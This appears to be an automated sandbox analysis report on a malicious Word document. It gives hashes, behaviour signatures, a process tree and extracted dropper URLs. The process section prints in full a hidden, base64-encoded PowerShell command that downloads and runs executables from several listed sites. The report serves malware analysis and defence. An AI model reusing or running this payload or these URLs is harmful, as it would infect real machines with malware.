Analysis

  • max time kernel
    119s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    01-02-2022 04:23

General

  • Target

    b4fdb77c5b6eede55fa1025dcbd522ada24dc6fef82efbeac60934cb6a8e8005.doc

  • Size

    109KB

  • MD5

    be1f448868949ba25e0b199e1e3139b2

  • SHA1

    87435983272d0ff58ffaf105452e3e6322694ed7

  • SHA256

    b4fdb77c5b6eede55fa1025dcbd522ada24dc6fef82efbeac60934cb6a8e8005

  • SHA512

    2834635393ff61b60a06573df17582740e8f41f6c2eb5bdda685c5d5dd494691f4a34748e9693fff3b5834c133eb969f0ba207b8b13677652f8c1dca9bf81a2d

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://rechholz.de/yYw1qvd/

exe.dropper

http://psd-ga.com/zapgovno/Nhfxs/

exe.dropper

http://gtdesign.ch/oFNj7EV/

exe.dropper

http://startstudio.it/nDFE7y/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\b4fdb77c5b6eede55fa1025dcbd522ada24dc6fef82efbeac60934cb6a8e8005.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1448
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:696
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowersHeLL.exe
        PowersHeLL -WinDowsTyle hidden -e IABJAG4AVgBPAEsARQAtAEUAeABwAFIAZQBzAFMAaQBvAG4AKAAoACgAIgB7ADMANwB9AHsANQAzAH0AewAyADYAfQB7ADYAMgB9AHsAMgAxAH0AewA3ADYAfQB7ADcANQB9AHsAMwA5AH0AewAzADUAfQB7ADYAMQB9AHsANwAxAH0AewAzADAAfQB7ADYANgB9AHsAMwA2AH0AewA0ADQAfQB7ADAAfQB7ADYAOAB9AHsAMQAzAH0AewA2ADkAfQB7ADcAMwB9AHsAMQAwAH0AewA3ADIAfQB7ADcAOQB9AHsAMQAxAH0AewA2ADAAfQB7ADcAfQB7ADUANQB9AHsANAA5AH0AewA0ADgAfQB7ADYANwB9AHsANQAyAH0AewAyADUAfQB7ADcANAB9AHsAOQAxAH0AewA0ADAAfQB7ADUAOAB9AHsAOAAyAH0AewAyADgAfQB7ADYAfQB7ADUAfQB7ADMAOAB9AHsAOQAyAH0AewA4ADgAfQB7ADkAMAB9AHsAMgA3AH0AewA4ADUAfQB7ADMAfQB7ADEAfQB7ADIAMwB9AHsAOAA3AH0AewAzADQAfQB7ADYANQB9AHsAOAA5AH0AewA0ADEAfQB7ADQANwB9AHsAMQA3AH0AewA4ADYAfQB7ADQANgB9AHsANQA3AH0AewA5ADQAfQB7ADQAfQB7ADMAMQB9AHsANgA0AH0AewA1ADYAfQB7ADIANAB9AHsAMgB9AHsAOAAxAH0AewA2ADMAfQB7ADEAOQB9AHsANQA5AH0AewA1ADEAfQB7ADcAMAB9AHsANAA1AH0AewAxADYAfQB7ADUAMAB9AHsAMQA1AH0AewAzADMAfQB7ADUANAB9AHsANwA4AH0AewA0ADMAfQB7ADcANwB9AHsAOAB9AHsAMQAyAH0AewA0ADIAfQB7ADgANAB9AHsAMgAwAH0AewA4ADMAfQB7ADgAMAB9AHsAMgA5AH0AewA5AH0AewA5ADMAfQB7ADIAMgB9AHsAMQA0AH0AewAxADgAfQB7ADMAMgB9ACIAIAAtAGYAJwBaACcALAAnAG8ALwBOAGgAJwAsACcAaAB1AC4AZQB4AFoAaAB1ACsAWgBoAHUAZQBaAGgAdQApADsAZgBvACcALAAnAG4AJwAsACcAdQAnACwAJwBZAHcAMQBxAHYAZAAnACwAJwB5ACcALAAnAGEAJwAsACcAZwBOAHUAUgAoACkALAAnACwAJwBlAG0AWgBoAHUAKQAnACwAJwBtACcALAAnAHQALgBXAGUAYgBDACcALAAnACAANwAwAFoAUwAnACwAJwBlAGMAdAAnACwAJwBDACkAOwBiAHIAZQBhAGsAOwAnACwAJwBHAHYAJwAsACcAbwBoACcALAAnAC8AbgBEAEYARQA3AHkALwAnACwAJwB9ACcALAAnAGEAcwBmAGMAIABpAG4AJwAsACcAdQBrAFoAaAB1ACcALAAnAFoAJwAsACcAMABaAFMARAAnACwAJwBmAHgAcwAvAEAAJwAsACcAWgAnACwAJwB0AHQALgBjAG8AbQAvACcALAAnAGEAcwBkACAAPQAgACYAKABaAGgAdQBuAFoAJwAsACcAbQAvAHoAYQBwAGcAJwAsACcAZABlAC8AJwAsACcAdQBlAC0ASQB0ACcALAAnACAAPQAgAC4AKABaAGgAJwAsACcAYgBsAGkAYwAgACcALAAnAGMAYQB0AGMAaAB7AH0AfQAnACwAJwBsACcALAAnAC8ALwBnAHQAZABlAHMAaQBnACcALAAnAGgAdQArAFoAaAB1AHQAWgBoACcALAAnACsAWgBoACcALAAnADcAMABaACcALAAnAC8AQAAnACwAJwBlAGMAWgAnACwAJwBsAGoAJwAsACcAbwAuAGkAJwAsACcARABDACkAOwAmACgAWgBoACcALAAnAHYAJwAsACcAdQB3ACcALAAnAHUAUgBEACcALAAnAGgAdQAuAFMAcABsAGkAdAAnACwAJwB0ACcALAAnADIAMQAzACcALAAnADAAMAAsACAAMgA4ACcALAAnAEcAdgBXAG4AbABoAEcAdgBPAGEAZABGAEkAaAAnACwAJwA3ADAAWgBBAEQAQwBYACkAewB0AHIAeQB7ADcAJwAsACcACgBoAHQAdABwADoALwAvAHQAaABlAG8AbgBlAHQAcgB1AGUAbQBhACcALAAnAG4AcwBhAGQAJwAsACcAZQBOAHUAUgAoADcAMABaAGEAcwBmAGMALgAnACwAJwBkAGEAcwBkAC4AbgBlAHgAdAAoADEAMAAwACcALAAnACgAJwAsACcAKABaAGgAdQBAAFoAaAB1ACkAOwA3ADAAJwAsACcAcwB2AHgALwBAAGgAdAB0AHAAOgAvACcALAAnACAAJwAsACcAbABpAGUAbgB0ADsANwAwAFoATgBTAEIAIAA9ACAANwAwAFoAbgBzACcALAAnAHUAKQAgAHIAYQBuAGQAJwAsACcAaAB1ACsAWgBoAHUAZQAnACwAJwA3ADAAWgAnACwAJwArACAAWgBoAHUAUgAxADAAWgBoAHUAIAArACAANwAwAFoATgBTAEIAIAArACAAJwAsACcAbgAuAGMAaAAvAG8ARgBOAGoANwBFAFYALwBAAGgAdAB0AHAAOgAnACwAJwB1AG4AZQBaAGgAdQAnACwAJwAzACkAOwA3ADAAWgBBAEQAQwBYACAAPQAgAFoAaAB1AA0AJwAsACcAaAB1ACsAWgBoAHUALQBvAGIAagAnACwAJwBaAGgAdQAnACwAJwAwAFoAWQBZAFUALgBOACcALAAnAG8AbQA7ADcAMABaAFkAWQBVACcALAAnAC4ATgAnACwAJwApACAAUwB5AHMAdABlACcALAAnAHEAJwAsACcAWgBoAHUAdwAtAG8AYgBqACcALAAnAGgAdQArACcALAAnAE4AJwAsACcATgB1AFIAVABvAFMAdAByAGgARwB2AGkAaABHACcALAAnAGUAJwAsACcAWgBoACcALAAnAHIAZQBhAGMAaAAoACcALAAnAC8AcgBlAGMAaABoAG8AbAB6AC4AJwAsACcAKwAnACwAJwB1AEkAbgB2AG8AWgBoAHUAKwBaAGgAJwAsACcAbwB2ACcALAAnAFoAJwAsACcAaAB0AHQAcAA6ACcALAAnAGEALgAnACwAJwAvAC8AcwB0AGEAcgB0AHMAdAB1AGQAaQAnACwAJwBjAG8AJwAsACcARgAnACwAJwBoAHQAdABwADoALwAvAHAAcwBkAC0AZwAnACwAJwAoADcAJwAsACcAWgBTAEQAQwAgAD0AIAA3ADAAWgBlAG4AdgA6AHAAJwApACkALgBSAGUAcABsAGEAYwBlACgAKABbAEMAaABBAHIAXQA4ADIAKwBbAEMAaABBAHIAXQA0ADkAKwBbAEMAaABBAHIAXQA0ADgAKQAsACcAXAAnACkALgBSAGUAcABsAGEAYwBlACgAJwBOAHUAUgAnACwAWwBTAFQAcgBpAG4ARwBdAFsAQwBoAEEAcgBdADMANAApAC4AUgBlAHAAbABhAGMAZQAoACcAWgBoAHUAJwAsAFsAUwBUAHIAaQBuAEcAXQBbAEMAaABBAHIAXQAzADkAKQAuAFIAZQBwAGwAYQBjAGUAKAAoAFsAQwBoAEEAcgBdADUANQArAFsAQwBoAEEAcgBdADQAOAArAFsAQwBoAEEAcgBdADkAMAApACwAWwBTAFQAcgBpAG4ARwBdAFsAQwBoAEEAcgBdADMANgApAC4AUgBlAHAAbABhAGMAZQAoACgAWwBDAGgAQQByAF0AMQAwADQAKwBbAEMAaABBAHIAXQA3ADEAKwBbAEMAaABBAHIAXQAxADEAOAApACwAWwBTAFQAcgBpAG4ARwBdAFsAQwBoAEEAcgBdADkANgApACAAKQAgAA==
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:524

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/524-63-0x00000000024E0000-0x000000000312A000-memory.dmp

      Filesize

      12.3MB

    • memory/524-64-0x0000000004CC0000-0x0000000005311000-memory.dmp

      Filesize

      6.3MB

    • memory/696-59-0x000007FEFBF31000-0x000007FEFBF33000-memory.dmp

      Filesize

      8KB

    • memory/1448-55-0x0000000072A51000-0x0000000072A54000-memory.dmp

      Filesize

      12KB

    • memory/1448-56-0x00000000704D1000-0x00000000704D3000-memory.dmp

      Filesize

      8KB

    • memory/1448-57-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1448-58-0x00000000758A1000-0x00000000758A3000-memory.dmp

      Filesize

      8KB